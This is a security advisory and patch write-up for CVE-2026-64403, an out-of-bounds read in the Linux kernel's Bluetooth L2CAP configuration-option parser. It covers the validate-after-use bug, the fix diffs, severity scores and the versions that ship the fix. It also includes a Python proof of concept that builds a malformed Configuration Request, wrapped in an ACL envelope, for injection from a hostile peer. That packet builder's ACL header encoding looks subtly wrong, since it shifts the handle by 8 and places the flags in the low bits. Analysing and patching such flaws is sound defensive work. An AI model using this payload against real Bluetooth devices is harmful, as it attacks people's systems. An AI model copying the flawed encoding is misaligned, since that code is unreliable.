# CVE-2026-64403: L2CAP read the config option value before validating its length

**Patch:** [687617555cedfb74c9e3cb85d759b908dcb17856](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=687617555cedfb74c9e3cb85d759b908dcb17856) (mainline, landed in 7.2-rc3)
**Subsystem:** Bluetooth core, L2CAP
**Affected file:** net/bluetooth/l2cap_core.c
**CVE record:** [CVE-2026-64403](https://www.cve.org/CVERecord?id=CVE-2026-64403)
**Introduced in:** 5.1, commit 7c9cbd0b5e38a1672fcd137894ace3b042dfbf69

## The bug in one sentence

l2cap_get_conf_opt() derived an option length from the attacker controlled opt->len field and dereferenced opt->val immediately, while its callers only noticed the malformed option later, after the out-of-bounds read had already executed.

## Validate after use

The pre-fix control flow was the textbook validate-after-use ordering bug. Every caller ran the same shape of loop:

```c
while (len >= L2CAP_CONF_OPT_SIZE) {
        len -= l2cap_get_conf_opt(&req, &type, &olen, &val);
        if (len < 0)
                break;
        ...
}
```

Inside l2cap_get_conf_opt(), the switch reads opt->val as a u8, as get_unaligned_le16(), as get_unaligned_le32(), or hands out a raw pointer, sized by opt->len, before anyone has confirmed that those bytes exist in the buffer. When the running length goes negative, the callers discard the garbage value, so in the current control flow nothing consumes it. But up to four bytes have already been read past the end of the buffer, and any future refactor of the callers that trusts the value earlier turns this into a real leak.

I fixed it at the source instead of hoping the callers stay careful forever. The helper now takes the end of the buffer and refuses to touch opt->val unless the whole option fits:

```diff
-static inline int l2cap_get_conf_opt(void **ptr, int *type, int *olen,
-				     unsigned long *val)
+static inline int l2cap_get_conf_opt(void **ptr, void *end, int *type,
+				     int *olen, unsigned long *val)
 {
 	struct l2cap_conf_opt *opt = *ptr;
 	int len;
 
+	if (end - *ptr < L2CAP_CONF_OPT_SIZE)
+		return -EINVAL;
+
 	len = L2CAP_CONF_OPT_SIZE + opt->len;
+	if (end - *ptr < len)
+		return -EINVAL;
```

And each caller computes its end pointer once and checks the return value directly:

```diff
 	while (len >= L2CAP_CONF_OPT_SIZE) {
-		len -= l2cap_get_conf_opt(&req, &type, &olen, &val);
-		if (len < 0)
+		int ret = l2cap_get_conf_opt(&req, req_end, &type, &olen, &val);
+
+		if (ret < 0)
 			break;
+		len -= ret;
```

Applied to l2cap_parse_conf_req(), l2cap_parse_conf_rsp() and l2cap_conf_rfc_get(). Full patch: [687617555ced](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=687617555cedfb74c9e3cb85d759b908dcb17856)

Configuration requests and responses arrive over an L2CAP channel from a paired or connecting peer, which is what puts this in the adjacent network class rather than pure local.

## How to trigger it

A normal kernel never emits malformed configuration options, so this comes from a malicious peer injecting raw L2CAP signaling during channel setup. The bytes that matter:

```python
# L2CAP Configuration Request, signaling channel cid 0x0001
# code 0x04, ident, len, dcid, flags, then options
dcid = 0x0041
opt  = bytes([0x01, 0x09]) + b"\x17\x70"
#      ^ MTU option type, claims a 9 byte value, only 2 bytes actually present
body = dcid.to_bytes(2, "little") + b"\x00\x00" + opt
conf = bytes([0x04, 0x01]) + len(body).to_bytes(2, "little") + body
# send as an ACL L2CAP signaling packet (cid 0x0001) from the peer while the
# channel is in configuration state; scapy-bt or btstack can inject this
```

Pre-fix, l2cap_get_conf_opt() switches on the option type and reads opt->val as le16/le32 sized by the claimed len before any caller checks that those bytes exist. The garbage value is discarded later when the running length goes negative, so the observable effect pre-fix is a KASAN splat on the read, not a leak that reaches userspace. Post-fix the option is rejected at the source with EINVAL before opt->val is touched.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 7.1 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
* Red Hat: 6.5 MEDIUM, Bugzilla [2507242](https://bugzilla.redhat.com/show_bug.cgi?id=2507242)
* SUSE: 4.3 MEDIUM (v4.0 5.3)
* NVD assigned CWE-476, NULL pointer dereference, which is plainly a mis-mapping for an out-of-bounds read; CISA's ADP contribution adds the correct CWE-125

The CWE story here is a nice cautionary tale about treating database fields as ground truth. When NVD and CISA disagree, read the code.

## Exploit code

Complete packet builder for the malformed Configuration Request, assembled down to the ACL envelope so it can go out from the attacking peer:

```python
#!/usr/bin/env python3
# l2cap_conf_oob.py: CVE-2026-64403

def l2cap_conf_req(ident, dcid, options):
    body = dcid.to_bytes(2, "little") + b"\x00\x00" + options
    return (bytes([0x04, ident]) +          # code 4 = CONF_REQ, ident
            len(body).to_bytes(2, "little") +
            body)

def acl_l2cap(acl_handle, l2chan, l2_payload):
    l2 = len(l2_payload).to_bytes(2, "little") + l2chan.to_bytes(2, "little") + l2_payload
    pb_flags = 2                              # first, non-flushable
    return ((acl_handle << 8) | pb_flags).to_bytes(2, "little") + \
           len(l2).to_bytes(2, "little") + l2

# one option: type 0x01 (MTU), len field claims 9, only 2 value bytes present
bad_option = bytes([0x01, 0x09]) + b"\x17\x70"

pkt = acl_l2cap(0x0001, 0x0001,              # handle 1, signaling channel
                l2cap_conf_req(0x01, 0x0041, bad_option))

# send on the attacking side over an open ACL link: raw HCI ACL injection
# (btstack, scapy-bt, or an hci socket data channel), while the victim's
# channel is in the configuration state
print(pkt.hex())
```

Pre-fix, l2cap_get_conf_opt() switches on type 0x01 and reads opt->val through get_unaligned_le16() sized by the claimed length before any caller checks that those bytes exist; the running length then goes negative and the garbage is discarded, so the exploit window is the out-of-bounds read itself, which KASAN reports inside l2cap_get_conf_opt. Post-fix the option is rejected at the helper with EINVAL before opt->val is touched. Public status: no KEV, no public PoC before this note. CISA Vulnrichment records exploitation as none and automatable as no. Fixes: Debian DLAs 4717-1, 4720-1, 4723-1, 4724-1, about twenty Ubuntu USNs including [USN-8726-1](https://ubuntu.com/security/notices/USN-8726-1) and [USN-8918-1](https://ubuntu.com/security/notices/USN-8918-1), Red Hat fix deferred, thirteen SUSE advisories, Oracle shipped it.

## Where the fix shipped

* 5.10.261: [cca81b4bc672](https://git.kernel.org/stable/c/cca81b4bc672604a84f6d224a55cc77ec7dee619)
* 5.15.212: [f70d4aa88068](https://git.kernel.org/stable/c/f70d4aa88068096f35d73e3a05eff33c0a16b9cd)
* 6.1.178: [7d871e969b94](https://git.kernel.org/stable/c/7d871e969b941ce25653f7716203a0ea4d07ad4b)
* 6.6.145: [98d93c226bdf](https://git.kernel.org/stable/c/98d93c226bdfaa79bbdd86981921d7f106374225)
* 6.12.96: [996d3da39899](https://git.kernel.org/stable/c/996d3da39899aceb8f4910911a3f19a45a7d9d1b)
* 6.18.39: [73abbaf91aa3](https://git.kernel.org/stable/c/73abbaf91aa33da87c008fb62c148ade561bb606)
* 7.1.4: [6b47bdaacfd0](https://git.kernel.org/stable/c/6b47bdaacfd0045687880177e0987055d8f4765a)
* 7.2-rc3: [687617555ced](https://git.kernel.org/linus/687617555cedfb74c9e3cb85d759b908dcb17856)

## References

1. [Upstream commit 687617555ced](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=687617555cedfb74c9e3cb85d759b908dcb17856)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026072530-CVE-2026-64403-31f1@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-64403)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-64403)
5. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-64403)
